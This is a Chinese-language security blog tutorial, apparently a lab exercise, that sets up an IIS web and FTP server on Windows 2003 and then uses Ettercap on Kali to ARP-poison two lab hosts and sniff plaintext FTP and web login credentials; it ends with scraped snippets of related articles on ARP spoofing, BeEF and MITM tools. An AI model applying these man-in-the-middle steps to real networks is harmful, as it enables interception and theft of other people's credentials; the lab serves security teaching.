
    在这里插入图片描述


    第三步,将Win2003搭建成WEB服务器和FTP服务器。

    发布Web服务器的软件有apache,比如LAMP(Linux+Apache+MySQL+PHP)框架,还有IIS。这里使用微软的动态网站软件IIS搭建ASP网站。重点是这个动态网站需要账号和密码登录,我们可以截获这个账号和密码。

    首先,点击“Internet信息服务管理器”。

    在这里插入图片描述

    可以发现这个IIS不仅可以发布网站,还可以发布FTP。

    在这里插入图片描述

    接着,我们尝试发布一个网站,先禁止默认网站。

    在这里插入图片描述

    假设需要发布下面这个ASP语言编写的网站。

    在这里插入图片描述

    右键“新建”->“网站”,然后选择搭建网站。

    在这里插入图片描述

    设置网站本机地址及80端口。

    在这里插入图片描述

    在这里插入图片描述

    选择网站搭建所需的源文件。

    在这里插入图片描述

    网站访问权限勾选下列选项。

    在这里插入图片描述

    Windows 2003服务器网站发布成功之后,我们尝试是否其他计算机能访问该服务器的数据。

    在这里插入图片描述

    接着配置其访问的首页,默认一般是“index.html”,这里是“Index.asp”。

    在这里插入图片描述

    选择该网站,然后右键“属性”,点击“文档”,显示如下图所示。

    在这里插入图片描述

    然后添加主页“Index.asp”。

    在这里插入图片描述

    选择“Web服务扩展”,找到“Active Server Pages”动态网页,右键“允许”。这样整个服务器的ASP网站配置成功。

    在这里插入图片描述

    Windows XP系统直接访问“10.1.1.3”,显示成功。

    在这里插入图片描述

    一般的管理系统都有后台管理员,会有相应的管理员登录页面。我们实验的重点是获取访问该页面的管理员用户名和密码。

    该示例网站的后台管理员登录页面为“Admin”文件夹下的“Admin_login.asp”网页。通常我们可以通过扫描工具,对路径进行暴库扫描。

    在这里插入图片描述

    显示如下图所示:http://10.1.1.3/admin/admin_login.asp

    在这里插入图片描述

    假设登录的信息如下所示:

    在这里插入图片描述

    但登录的时候却显示失败,因为服务器还需要配置。

    在这里插入图片描述

    由于管理员登录页面在Admin子文件夹下,需要开启相关的选项。右键“zhirui”点击“属性”,然后点击“主目录”中的“配置”。

    在这里插入图片描述

    配置中间“选项”中勾选上“启用父路径”即可。此时,该站点下的所有子目录文件均能访问。

    在这里插入图片描述

    后台管理员页面访问成功如下图所示。

    在这里插入图片描述



    第四步,验证Web及FTP服务是否可以访问。

    配置FTP服务器类似,选择“默认FTP站点”,点击“属性”,然后可以在“主目录”中看到FTP默认的本地路径“C:\inetpub\ftproot”。

    在这里插入图片描述

    向该文件夹添加东西,可以直接访问,比如添加“x move.txt”。

    在这里插入图片描述

    此时打开XP电脑,输入“ftp://10.1.1.3”即可访问该文件。

    在这里插入图片描述

    但是它没有输入账号和密码就直接获取了,所以我们接着配置服务器,让其他人下载我们FTP内容时,需要输入账号和密码。回到Win2003服务器,右键“默认FTP站点”,点击“属性”,然后在“安全账户”中去掉“允许匿名连接”,设置成功之后,再次访问就需要账号和密码。

    在这里插入图片描述

    如下图所示:

    在这里插入图片描述

    这里再问一个问题,假设我让大家访问我的IP地址服务器,我能把我的管理员账号和密码给你们吗?不行,这样太危险了。所以在这里补充CMD的两个命令,非常重要的命令,并且是黑客必备的命令。



    第五步,配置临时用户和密码。

    net user
    列出当前服务器上所有的用户,包括管理员。

    在这里插入图片描述

    net user a feigeshuai /add
    增加用户a,且密码为feigeshuai,注意如果不存在a用户,则使用“/add”来增加新用户。

    在这里插入图片描述

    此时,我们可以看到a账户创建成功,并且将该信息发给员工使用。

    在这里插入图片描述

    输入用户名和密码即可登录FTP服务器。

    在这里插入图片描述



    第六步,开启ARP欺骗及Sniff嗅探功能。

    Kali中包含了丰富的渗透和安全测试软件供大家使用。

    在这里插入图片描述

    我们接下来要使用的软件叫“Ettercap”。

    在这里插入图片描述

    该软件打开如下图所示,它不仅仅能ARP投毒,还能进行各种DNS投毒等。

    在这里插入图片描述

    点击“Sniff”第一个选项“Unified sniffing”。

    在这里插入图片描述

    选择网卡接口“eth0”。

    在这里插入图片描述

    选中网卡之后,开始点击“Host list”,列出所有主机。

    在这里插入图片描述

    再点击第三个按钮“Scan for hosts”扫描。

    在这里插入图片描述

    输出结果如下图所示,包括“10.1.1.1”和“10.1.1.3”。接下来我要在它们两个之间做中间人,怎么做呢?

    在这里插入图片描述

    选择第一个,添加目标1“Add to Target 1”;再选择第二个,添加目标2“Add to Target 2”。

    在这里插入图片描述

    再点击“Mitm”->“ARP poisoning”,并且勾选“Sniff remote connections”,此时就建立了ARP投毒,把10.1.1.1和10.1.1.3欺骗,并且开始数据拦截。

    在这里插入图片描述

    在这里插入图片描述

    接着,我们打开Win XP系统,在CMD中输入“arp -a”,该命令是查看ARP缓存表,如下图所示。可以看到,在10.1.1.1主机上,发现10.1.1.2和10.1.1.3的MAC地址都是“52-81”,所以基本能确定这个人是坏蛋,说明已经被欺骗了。

    在这里插入图片描述

    接着来测试FTP,在XP系统中访问FTP服务器,然后输入用户名“a”、密码“feigeshuai”。并且能成功访问,说明ARP攻击并没有影响正常通讯。

    在这里插入图片描述

    再来看Kali,用户名和密码被成功获取。同时说明FTP协议默认传输数据没有加密,是明文传输。显示两次是因为FTP是核对-验证机制,确认之后会再发送一遍。

    在这里插入图片描述

    同样,我们在XP系统中打开浏览器,输入相关信息。

    在这里插入图片描述

    抓取的信息如下,用户名“admin”、密码“123456”,同时包括认证码和code。

    在这里插入图片描述

    但如果别人的密码是加密的话,我们还需要进行解密,比如HTTPS。

    在这里插入图片描述

    补充,如果你的信息没有获取成功,则可能是:

    1. IP没有配置正确
    2. 临时配置PI地址失效,尝试“reboot”重启,在输入“ifconfig”配置

    在这里插入图片描述



    四.总结

    写到这里,这篇基础性文章就此结束,希望文章对您有所帮助。真的感觉自己技术好菜,要学的知识好多。这是第41篇的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行,感谢很多人的帮助,继续爬着,继续加油。

    在这里插入图片描述

    (By:Eastmount 2020-01-21 中午21点写于贵阳 http://blog.csdn.net/eastmount/ )


    参考文献:
    2019 黑客入门基础Windows网络安全精讲 - B站老师

    展开全文
  • 最近接触到了beef这款工具,看过基本教程后就自己进行了一次攻击尝试。 总体思路就是在内网下通过arp欺骗,修改response包,加入我们的钩子,十分简单。 首先是arp欺骗,这里用的是bettercap,可以参考我之前的文章...
  • MITMf, 在中间攻击中,的框架 MITMfMan-In-The-Middle攻击框架快速教程,示例和开发人员更新在以下位置: https://byt3bl33d3r.github.io这里工具基于 sergio代理,是一个尝试恢复和更新
  • ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。...
  • 教程示例代码见:https://github.com/johnlui/Learn-Laravel-5</h4> 在任何地方卡住,最快的办法就是去看示例代码。 本篇文章中,我将跟大家一起实现 Article 的新增、编辑和删除功能,...
  • 中间是 URL 路径,右边是 控制器中对应的函数,只要某个请求符合这七行中某一行的要求,那么这条请求就会触发第三列的 function。这是 Laravel 对于 RESTful 的规范,它不仅仅帮我们省去了...
  • SSH入门教程

    千次阅读 2014-06-12 14:49:34
    SSH使用指南 介绍SSH 什么 是SSH? 传统的网络服务程序,如:ftp、pop和telnet在本质上都是不安全的,因为它们在网络上用明文传送口令和数据,别有用心的人... “中间人”的攻击方式,就是“中间人”冒充真正的服务
  • dSploitzANTI渗透教程之HTTP服务重定向地址 HTTP服务 HTTP服务主要用于重定向地址的。当用户创建一个钓鱼网站时,可以通过使用HTTP服务指定,并通过实施中间人攻击,使客户端访问该...
  • 版本:Ettercap0.8.3-GUI 启动界面 说明 菜单 说明 Sniffing at startup 是否打开嗅探模式 Primary interface 选择网卡 Bridged sniffing 是否开启桥接模式 ...中间人攻击菜单 圆形图标
  • zANTI是一款Android平台下的渗透测试工具,支持嗅探已连接的网络、支持中间人攻击测试、端口扫描、Cookie获取及路由安全测试等操作。该工具是由以色列移动安全公司Zimperium开发的。本章将对zANTI工具进行简单介绍。...
  • linux:SSH最简单教程

    2018-12-20 10:39:00
    1.简介 ssh是一种用于计算机之间的加密登录协议。... 2.原理 (1)用户发登录请求给远程主机 (2)远程主机发公钥给用户 ...3.中间人攻击 上面公钥加密私钥解密的过程本身很安全,但是有人截获用户发的登录...
  • sniffer使用教程

    2011-03-13 18:48:42
    两方,让其都发给你的机器再由你的机器转发,相当于做中间人,这用ARP加上编程很容易实现。并且现在很多设备 支持远程管理,有很多交换HUB可以设置一个口监听别的口,不过这就要管理权限了。 利用这一点,可以将一...
  • SSH是Secure Shell的缩写,意为"安全外壳协议",是一种可以远程登录提供安全保障的协议,使用SSH,可以把所有传输的数据进行加密,"中间人"攻击方式就不可能实现,防止DNS欺骗和IP欺骗.OpenSSH是SSH协议的免费开源的实现,...
  • ettercap做arp欺骗和dns欺骗-----详细教程

    万次阅读 多人点赞 2018-08-24 01:33:24
    教程仅供学习使用,不得用于非法途径,... Ettercap:刚开始只是作为一个网络嗅探器,但在开发过程中,它获得了越来越多的功能,在中间攻击人方面,是一个强大而又灵活的工具。它支持很多种协议(即使是加密的)...
  • 网站渗透测试其实就是模拟黑客...作者在本书中的很多实例都非常具有创新和启发意义, 如 HTTP 数据中的图片检测、 基于 GitHub命令进行控制的模块化木马、浏览器的中间人攻击技术、利用 COM 组件自动化技术窃取数...
  • WiFi-Pumpkin是一款专用于无线环境渗透测试的完整框架,利用该工具可以伪造接入点完成中间人攻击,同时也支持一些其他的无线渗透测试功能。旨在提供更安全的无线网络服务,该工具可以用来监听目标的流量数据,通过...
  • 1. 前言 HTTPS越来越成为主流,谷歌从 2017 年起,Chrome 浏览器将也会把采用 HTTP 协议的网站标记为「不安全...首先说为什么使用https,简单点说就是为了防止数据传输过程中信息被窃取或偷换,防止中间人攻击。 ...
  • 最近一份产品检测报告建议使用基于pki的认证方式,由于产品已实现https,商量之下认为其意思是使用双向认证以处理中间人形式攻击。 《信息安全工程》中接触过双向认证,但有两个问题。 第一个是当时最终的课程设计...
  • Burp Suite是一款信息安全从业人员必备的集 成型的渗透测试工具,它采用自动测试和半自动测试的方式,通过拦截HTTP/HTTPS的web数据包,充当浏览器和相关应用程序的中间人,进行拦截、修改、重放数据包进行测试,是...
  • 介绍一款爬虫辅助工具mitmproxy ,mitmproxy 就是用于MITM的proxy,MITM中间人攻击。说白了就是服务器和客户机中间通讯多增加了一层。跟Fiddler和Charles最大的不同就是,mitmproxy可以进行二次开发,尤其可以对接...

空空如也

空空如也

1 2 3 4
收藏数 62
精华内容 24
关键字:

中间人攻击教程